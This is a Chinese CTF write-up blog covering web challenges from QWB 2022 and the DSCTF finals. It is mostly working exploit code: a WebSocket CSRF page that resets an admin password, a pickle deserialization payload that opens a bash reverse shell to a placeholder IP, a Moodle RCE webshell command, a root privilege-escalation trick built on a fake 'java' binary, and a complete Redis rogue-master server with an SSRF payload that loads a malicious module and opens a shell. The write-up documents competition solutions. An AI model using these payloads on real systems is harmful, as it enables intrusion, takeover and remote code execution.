NS - QWB 2022

记录生活

Web

babyweb

1
2
3
4
5
6
7
8
9
10
<meta charset="utf-8">
<script>
function ws_attack(){
var ws = new WebSocket("ws://127.0.0.1:8888/bot");
ws.onopen = function(evt) {
ws.send("changepw 123456");
};
}
ws_attack();
</script>

存为exp.html放在服务器上,让bot访问exp.html,修改admin密码为123456

登录到admin,抓买东西的包

https://bishopfox.com/blog/json-interoperability-vulnerabilities

新增一个num键为负数,让flask解析第二个重复的键,jsonparser解析第一个键

img

将钱改到最大值之后,随便买点东西

img

crash

给了源码,留意到pickle序列化和反序列化操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import base64
# import sqlite3
import pickle
from flask import Flask, make_response,request, session
import admin
import random

app = Flask(__name__,static_url_path='')
app.secret_key=random.randbytes(12)

class User:
def __init__(self, username,password):
self.username=username
self.token=hash(password)

def get_password(username):
if username=="admin":
return admin.secret
else:
# conn=sqlite3.connect("user.db")
# cursor=conn.cursor()
# cursor.execute(f"select password from usertable where username='{username}'")
# data=cursor.fetchall()[0]
# if data:
# return data[0]
# else:
# return None
return session.get("password")

@app.route('/balancer', methods=['GET', 'POST'])
def flag():
pickle_data=base64.b64decode(request.cookies.get("userdata"))
if b'R' in pickle_data or b"secret" in pickle_data:
return "You damm hacker!"
os.system("rm -rf *py*")
userdata=pickle.loads(pickle_data)
if userdata.token!=hash(get_password(userdata.username)):
return "Login First"
if userdata.username=='admin':
return "Welcome admin, here is your next challenge!"
return "You're not admin!"

@app.route('/login', methods=['GET', 'POST'])
def login():
resp = make_response("success")
session["password"]=request.values.get("password")
resp.set_cookie("userdata", base64.b64encode(pickle.dumps(User(request.values.get("username"),request.values.get("password")),2)), max_age=3600)
return resp

@app.route('/', methods=['GET', 'POST'])
def index():
return open('source.txt',"r").read()

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)

构造pickle反序列化上线shell

1
2
3
4
@app.route('/exp', methods=['GET'])
def exp():
payload=b'(cos\nsystem\nX\x36\x00\x00\x00bash -c "bash -i >& /dev/tcp/xx.xxx.xxx.xxx/8888 0>&1"o.'
return base64.b64encode(payload)

上线后一度怀疑自己思路想提权但是没有能利用的方式,然后突然想起来似乎是上线后一直502,看起来他自己python服务崩了,504是后端超时,502是后端崩掉了,写个flask替换掉本来的后端服务,nginx是一直在的

1
2
3
4
5
6
7
8
9
10
11
12
from flask import Flask

app = Flask(__name__, static_url_path='')

@app.route('/', methods=['GET', 'POST'])
def index():
import time
time.sleep(300)
return ""

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)

但是环境没有curl、wget这些好用的命令,将代码base64编码一下利用

1
echo ZnJvbSBmbGFzayBpbXBvcnQgRmxhc2sKCgphcHAgPSBGbGFzayhfX25hbWVfXywgc3RhdGljX3VybF9wYXRoPScnKQoKQGFwcC5yb3V0ZSgnLycsIG1ldGhvZHM9WydHRVQnLCAnUE9TVCddKQpkZWYgaW5kZXgoKToKICAgIGltcG9ydCB0aW1lCiAgICB0aW1lLnNsZWVwKDMwMCkKICAgIHJldHVybiAiIgoKaWYgX19uYW1lX18gPT0gJ19fbWFpbl9fJzoKICAgIGFwcC5ydW4oaG9zdD0nMC4wLjAuMCcsIHBvcnQ9NTAwMCk= |base64 -d > app.py

顺利启动后,用burp访问一下,安心等待即可

img

easylogin

  1. 首先发起重置admin(sql注入可知用户名)密码请求,接着利用wp的SQL注入获取重置密码链接的token

img

  1. 拿着token重置密码登陆moodle后台,利用https://github.com/HoangKien1020/Moodle_RCE Getshell

  2. /blocks/rce/lang/en/block_rce.php?cmd=find / -type f |xargs grep "flag{" > ./11.txt搜索flag

img

强网先锋

  1. 文件扫描到www.zip获取到源码

  2. 上传inc文件,利用spl_autoload_register进行文件包含

  3. 构造反序列化,拿flag

img

DSCTF决赛

懒得重开一个文档了,记录在这里

safe_script_new

  1. 阅读源码,利用php://filter写个马进去

img

  1. /flag权限只有root可读,翻找suid无果,ps发现有root运行的程序,该程序其他用户可读,就读一下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import subprocess
import re
import os
import time
def get_version(program):
pid = program[1]
try:
exe_path = "/proc/" + pid + "/exe"
program_path = subprocess.check_output(["su","-l",program[0],"-s",'/bin/bash','-c',f"readlink {exe_path}"], timeout=1).decode('utf-8').strip()
print(program, "/proc/" + pid + "/exe", program_path)
return subprocess.check_output([program_path, '--version'], timeout=1).decode('utf-8').strip()
except Exception as e:
print(e)
return None
def get_process_list():
try:
process_list = []
raw = subprocess.check_output(['ps', '-ef']).decode('utf-8').strip()
# raw = open("a.txt", "r").read()
lines = raw.split('\n')
for line in lines:
if line.startswith('UID'):
continue
data = re.findall(r'^([^\x20]+)\x20+([^\x20]+)\x20+([^\x20]+)\x20+([^\x20]+)\x20+([^\x20]+)\x20+([^\x20]+)\x20+([^\x20]+)\x20+(.+?)$', line)
if len(data) > 0:
data = data[0]
else:
continue
print(data, data[-1])
if "java" in data[-1]:
process_list.append(data)
return process_list
except subprocess.CalledProcessError:
return None
if __name__ == '__main__':
while True:
try:
processes = get_process_list()
for process in processes:
get_version(process)
except:
pass
time.sleep(20)

简单来说逻辑就是ps -ef获取所有进程信息,然后判断执行命令里有没有java关键字,有就加入get_version列表中get_version会根据进程信息利用readlink获取当前进程exe原本的执行文件,然后执行该文件加--version参数。

  1. 写个c++编译一下,完成后软连接为/var/www/html/java,这时候(注意需要反弹一个shell回来)alias起个别名,alias的优先级是高于$PATH的,但是低于hash,不过似乎这里没有考察这个知识点。值得注意的是,需要使用sleep让该程序挂起等待root起的脚本过来运行。细节如下图
1
2
3
4
5
6
7
8
#include <cstdlib>
#include <unistd.h>
int main()
{
system("cat /flag > /var/www/html/111.txt");
sleep(300);
return 0;
}

img

img

ez_java_new

不想写了嫖一下r3鸽鸽的

redis主从攻击

访问/actuator/heapdump拿到heapdump,用Mat打开,OQL查询

img

img

拿到redis.password

https://github.com/n0b0dyCN/RedisModules-ExecuteCommand

make,拿到一个恶意so

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import socket
import time

CRLF="\r\n"
payload=open("exp.so","rb").read()
exp_filename="exp.so"

def RogueServer(lport):
global CRLF
global payload
flag=True
result=""
sock=socket.socket()
sock.bind(("0.0.0.0",lport))
sock.listen(10)
clientSock, address = sock.accept()
while flag:
data = clientSock.recv(1024)
if "PING" in data:
result="+PONG"+CRLF
clientSock.send(result)
flag=True
elif "REPLCONF" in data:
result="+OK"+CRLF
clientSock.send(result)
flag=True
elif "PSYNC" in data or "SYNC" in data:
result = "+FULLRESYNC " + "a" * 40 + " 1" + CRLF
result += "$" + str(len(payload)) + CRLF
result = result.encode()
result += payload
result += CRLF
clientSock.send(result)
flag=False
print "done"

RogueServer(6378)

在vps上监听6378端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import urllib.parse

payload = ''' HTTP/1.1

AUTH enw!BKT_hac*pev9nvj
SLAVEOF ip 6378
config set dbfilename exp.so
MODULE LOAD ./exp.so
system.rev ip 7777

POST /

'''
payload = urllib.parse.quote(payload).replace("%0A", "%0D%0A")
payload = "?url=http://127.0.0.1:6379/" + payload
print(payload)

Post: url=

监听7777端口,接收到shell

img